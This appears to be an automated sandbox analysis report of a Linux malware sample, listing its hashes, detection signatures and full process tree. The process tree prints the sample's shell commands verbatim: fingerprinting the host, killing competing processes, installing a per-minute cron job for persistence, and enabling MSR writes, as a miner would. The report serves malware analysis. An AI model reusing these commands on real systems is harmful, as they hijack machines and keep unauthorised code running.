Analysis
-
max time kernel
1803s -
max time network
1804s -
platform
linux_amd64 -
resource
ubuntu1804-amd64-en-20211208 -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-en-20211208kernel:4.15.0-161-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
07-06-2023 15:38
Behavioral task
behavioral1
Sample
1
Resource
ubuntu1804-amd64-en-20211208
General
-
Target
1
-
Size
2.3MB
-
MD5
fb95fc8c3ed253dec1b08722f1bbf18e
-
SHA1
d48d6dc76323efa8c0ae799d245a650b9d914c09
-
SHA256
215293b8bdd0a57497d5cc62421e64bb29334e088578679cbf509d66c7b7dc7e
-
SHA512
498f68c04f66a4cbcfed7e38f779183b2a7766948def1d159158c2799893ddcfb9a7dc2762c8958d6ae479a62f71edee460ac31a5939aa3c149efe59a987834e
-
SSDEEP
49152:QM4HMaoo1fdQLCS1ytoWW7b/7GN2PM6jm:94Hp11aChtoB7b/7GYEZ
Malware Config
Signatures
-
ioc pid Process /lib/modules/4.15.0-161-generic/kernel/arch/x86/kernel/msr.ko 665 Process not Found -
Checks CPU configuration 1 TTPs 3 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo 1 File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo grep -
Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/product_name 1 File opened for reading /sys/devices/virtual/dmi/id/board_vendor 1 File opened for reading /sys/devices/virtual/dmi/id/bios_vendor 1 File opened for reading /sys/devices/virtual/dmi/id/sys_vendor 1 -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.lPvkrO crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads CPU attributes 1 TTPs 7 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online 1 File opened for reading /sys/devices/system/cpu/types 1 File opened for reading /sys/devices/system/cpu/possible 1 File opened for reading /sys/devices/system/cpu/online ps -
Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/product_serial 1 File opened for reading /sys/devices/virtual/dmi/id/bios_version 1 File opened for reading /sys/devices/virtual/dmi/id/bios_date 1 File opened for reading /sys/devices/virtual/dmi/id/chassis_version 1 File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag 1 File opened for reading /sys/devices/virtual/dmi/id/board_name 1 File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag 1 File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor 1 File opened for reading /sys/devices/virtual/dmi/id/product_uuid 1 File opened for reading /sys/devices/virtual/dmi/id/chassis_type 1 File opened for reading /sys/devices/virtual/dmi/id/chassis_serial 1 File opened for reading /sys/devices/virtual/dmi/id/product_version 1 File opened for reading /sys/devices/virtual/dmi/id/board_version 1 File opened for reading /sys/devices/virtual/dmi/id/board_serial 1 -
Enumerates kernel/hardware configuration 1 TTPs 59 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/free_hugepages Process not Found File opened for reading /sys/fs/cgroup/cpuset/cpuset.cpus 1 File opened for reading /sys/bus/cpu/devices 1 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/physical_line_partition 1 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/number_of_sets 1 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/number_of_sets 1 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/shared_cpu_map 1 File opened for reading /sys/bus/node/devices/node0/cpumap 1 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/shared_cpu_map 1 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/level 1 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/level 1 File opened for reading /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages 1 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/size 1 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index6/shared_cpu_map 1 File opened for reading /sys/bus/node/devices/node0/access0/initiators/read_latency 1 File opened for reading /sys/devices/virtual/dmi/id 1 File opened for reading /sys/fs/cgroup/unified/cgroup.controllers 1 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/shared_cpu_map 1 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/type 1 File opened for reading /sys/kernel/mm/hugepages 1 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/level 1 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/number_of_sets 1 File opened for reading /sys/bus/node/devices/node0/access0/initiators 1 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/physical_line_partition 1 File opened for reading /sys/firmware/dmi/tables/DMI Process not Found File opened for reading /sys/module/msr/initstate modprobe File opened for reading /sys/bus/cpu/devices/cpu0/topology/core_id 1 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/type 1 File opened for reading /sys/bus/node/devices/node0/access1/initiators 1 File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/topology/thread_siblings 1 File opened for reading /sys/bus/cpu/devices/cpu0/topology/core_siblings 1 File opened for reading /sys/bus/cpu/devices/cpu0/topology/physical_package_id 1 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/coherency_line_size 1 File opened for reading /sys/bus/cpu/devices/cpu0/cpufreq/cpuinfo_max_freq 1 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/type 1 File opened for reading /sys/bus/node/devices/node0/meminfo 1 File opened for reading /sys/bus/node/devices/node0/hugepages/hugepages-2048kB/nr_hugepages 1 File opened for reading /sys/bus/cpu/devices/cpu0/cpufreq/base_frequency 1 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/coherency_line_size 1 File opened for reading /sys/devices/system/node/online 1 File opened for reading /sys/bus/dax/devices 1 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index9/shared_cpu_map 1 File opened for reading /sys/bus/node/devices/node0/hugepages 1 File opened for reading /sys/fs/cgroup/cpuset/cpuset.mems 1 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/size 1 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/level 1 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index5/shared_cpu_map 1 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/type 1 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index7/shared_cpu_map 1 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/coherency_line_size 1 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/physical_line_partition 1 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/shared_cpu_map 1 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/size 1 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index4/shared_cpu_map 1 File opened for reading /sys/firmware/dmi/tables/smbios_entry_point Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/topology/die_cpus 1 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index8/shared_cpu_map 1 File opened for reading /sys/bus/node/devices/node0/access0/initiators/read_bandwidth 1 -
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
description ioc Process File opened for reading /proc/620/stat ps File opened for reading /proc/379/stat ps File opened for reading /proc/26/status ps File opened for reading /proc/166/cmdline ps File opened for reading /proc/634/status ps File opened for reading /proc/5/stat ps File opened for reading /proc/84/stat ps File opened for reading /proc/85/stat ps File opened for reading /proc/82/stat ps File opened for reading /proc/98/stat ps File opened for reading /proc/6/status ps File opened for reading /proc/9/stat ps File opened for reading /proc/10/cmdline ps File opened for reading /proc/89/status ps File opened for reading /proc/163/cmdline ps File opened for reading /proc/193/stat ps File opened for reading /proc/345/status ps File opened for reading /proc/3/stat ps File opened for reading /proc/451/cmdline ps File opened for reading /proc/153/cmdline ps File opened for reading /proc/221/cmdline ps File opened for reading /proc/193/cmdline ps File opened for reading /proc/130/status ps File opened for reading /proc/168/stat ps File opened for reading /proc/163/stat ps File opened for reading /proc/163/status ps File opened for reading /proc/251/cmdline ps File opened for reading /proc/364/cmdline ps File opened for reading /proc/580/stat ps File opened for reading /proc/25/stat ps File opened for reading /proc/5/cmdline ps File opened for reading /proc/82/cmdline ps File opened for reading /proc/115/stat ps File opened for reading /proc/165/status ps File opened for reading /proc/79/stat ps File opened for reading /proc/26/stat ps File opened for reading /proc/160/status ps File opened for reading /proc/287/stat ps File opened for reading /proc/582/status ps File opened for reading /proc/156/stat ps File opened for reading /proc/166/status ps File opened for reading /proc/361/status ps File opened for reading /proc/9/cmdline ps File opened for reading /proc/359/stat ps File opened for reading /proc/17/status ps File opened for reading /proc/1/stat ps File opened for reading /proc/18/cmdline ps File opened for reading /proc/83/status ps File opened for reading /proc/13/status ps File opened for reading /proc/36/stat ps File opened for reading /proc/2/stat ps File opened for reading /proc/579/cmdline ps File opened for reading /proc/16/status ps File opened for reading /proc/157/cmdline ps File opened for reading /proc/342/status ps File opened for reading /proc/423/cmdline ps File opened for reading /proc/19/stat ps File opened for reading /proc/115/status ps File opened for reading /proc/130/stat ps File opened for reading /proc/22/cmdline ps File opened for reading /proc/425/cmdline ps File opened for reading /proc/624/cmdline ps File opened for reading /proc/16/status ps File opened for reading /proc/1/cmdline ps -
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/.cron Process not Found File opened for modification /tmp/.cron sh File opened for modification /tmp/.lock 1
Processes
-
/tmp/1/tmp/11⤵
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads CPU attributes
- Reads hardware information
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
PID:584 -
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""2⤵PID:585
-
/usr/bin/whoamiwhoami3⤵PID:596
-
-
/bin/hostnamehostname3⤵PID:597
-
-
/bin/grepgrep -c "^processor" /proc/cpuinfo3⤵
- Checks CPU configuration
PID:598
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵PID:618
-
/bin/psps -A "-ostat,ppid"3⤵
- Reads CPU attributes
- Reads runtime system information
PID:619
-
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"3⤵PID:620
-
-
/usr/bin/idid -u3⤵PID:622
-
-
/bin/psps x3⤵
- Reads CPU attributes
- Reads runtime system information
PID:623
-
-
/bin/grepgrep /etc/cron3⤵PID:624
-
-
/bin/grepgrep -v grep3⤵PID:625
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵PID:627
-
/usr/bin/idid -u3⤵PID:628
-
-
/bin/grepgrep -v grep3⤵PID:630
-
-
/bin/grepgrep -v -- "-bash[[:space:]]*\$"3⤵PID:631
-
-
/bin/psps aux3⤵
- Reads CPU attributes
- Reads runtime system information
PID:629
-
-
/bin/grepgrep -v /usr/sbin/httpd3⤵PID:632
-
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"3⤵PID:633
-
-
-
/bin/shsh -c "dir=`pwd 2>/dev/null`;rm -rf \$dir/.cron 2>/dev/null;crontab -l 2>/dev/null | grep -v grep 2>/dev/null | grep -v '/tmp/1' 2>/dev/null > .cron 2>/dev/null;echo '* * * * * '\$dir/'/tmp/1' >> .cron 2>/dev/null; if [ \$(crontab -l 2>/dev/null | grep -v grep 2>/dev/null | grep '/tmp/1\$' 2>/dev/null | sort 2>/dev/null | uniq 2>/dev/null | wc -l 2>/dev/null) -eq '0' ]; then crontab \$dir/.cron 2>/dev/null; fi;rm -rf \$dir/.cron 2>/dev/null"2⤵
- Writes file to tmp directory
PID:635 -
/bin/rmrm -rf /tmp/.cron3⤵PID:637
-
-
/bin/grepgrep -v grep3⤵PID:639
-
-
/usr/bin/crontabcrontab -l3⤵PID:638
-
-
/bin/grepgrep -v /tmp/13⤵PID:640
-
-
/usr/bin/crontabcrontab /tmp/.cron3⤵
- Creates/modifies Cron job
PID:648
-
-
/bin/rmrm -rf /tmp/.cron3⤵PID:649
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"2⤵PID:650
-
/usr/bin/idid -u3⤵PID:651
-
-
-
/bin/hostnamehostname -I1⤵PID:588
-
/usr/bin/awkawk "{print \$1}"1⤵PID:590
-
/bin/catcat /etc/ssh/sshd_config1⤵PID:592
-
/bin/grepgrep "Port "1⤵PID:593
-
/usr/bin/headhead -n 11⤵PID:594
-
/usr/bin/awkawk "{print \"-\"\$2}"1⤵PID:595
-
/bin/grepgrep -m 1 "model name" /proc/cpuinfo1⤵
- Checks CPU configuration
PID:601
-
/usr/bin/cutcut -d: -f21⤵PID:602
-
/bin/sedsed -e "s/^ *//"1⤵PID:603
-
/bin/sedsed -e "s/\$//"1⤵PID:604
-
/usr/bin/awkawk "{print \$1}"1⤵PID:611
-
/usr/bin/awkawk "{print \$4}"1⤵PID:614
-
/usr/bin/awkawk "{print \$4}"1⤵PID:617
-
/usr/bin/crontabcrontab -l1⤵PID:642
-
/bin/grepgrep -v grep1⤵PID:643
-
/bin/grepgrep "/tmp/1\$"1⤵PID:644
-
/usr/bin/sortsort1⤵PID:645
-
/usr/bin/uniquniq1⤵PID:646
-
/usr/bin/wcwc -l1⤵PID:647
-
/bin/psps aux1⤵
- Reads CPU attributes
- Reads runtime system information
PID:653
-
/bin/grepgrep -v grep1⤵PID:654
-
/bin/grepgrep -- "-bash[[:space:]]*\$"1⤵PID:655
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"1⤵PID:656
-
/usr/bin/wcwc -l1⤵PID:657
-
/bin/shsh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1"1⤵PID:664
-
/sbin/modprobe/sbin/modprobe msr "allow_writes=on"2⤵
- Enumerates kernel/hardware configuration
PID:665
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
22B
MD50c846569fad0c790b8a218e5ed420694
SHA1ee8cfcde03a4fd38e1e6fbe7d0e3fd4c9aa18748
SHA2562f03f23bb049d1ff68b15611e1ad1ee89c93a472a025fd748eb592dd31560cb4
SHA5123b59ac36c4d688fe9bfc64d3a52db4c5e8b9443344be4d42d51717c92932a56117215ce3975fd2df60f4fcb9910c81f05bfc18a4762359d31fed089b090cc7bd
-
Filesize
206B
MD54b6f117cbb08cdb4fdb3cde032ea3370
SHA14a275c73f119747ffb6d59dbb2ace4967c23c1a3
SHA256f938041dad4688899c4bf3741fc6dd029977eda5ec974bc8610ceef36760ae52
SHA512f707079fea7ff55107c6f7fbfe488b18d68c98427cf544c1b1b3dbb3de4a2912f64f23230980aed6d133ee80e1bbce5b0b8eb0efe9613fcbfa86ad824d13054a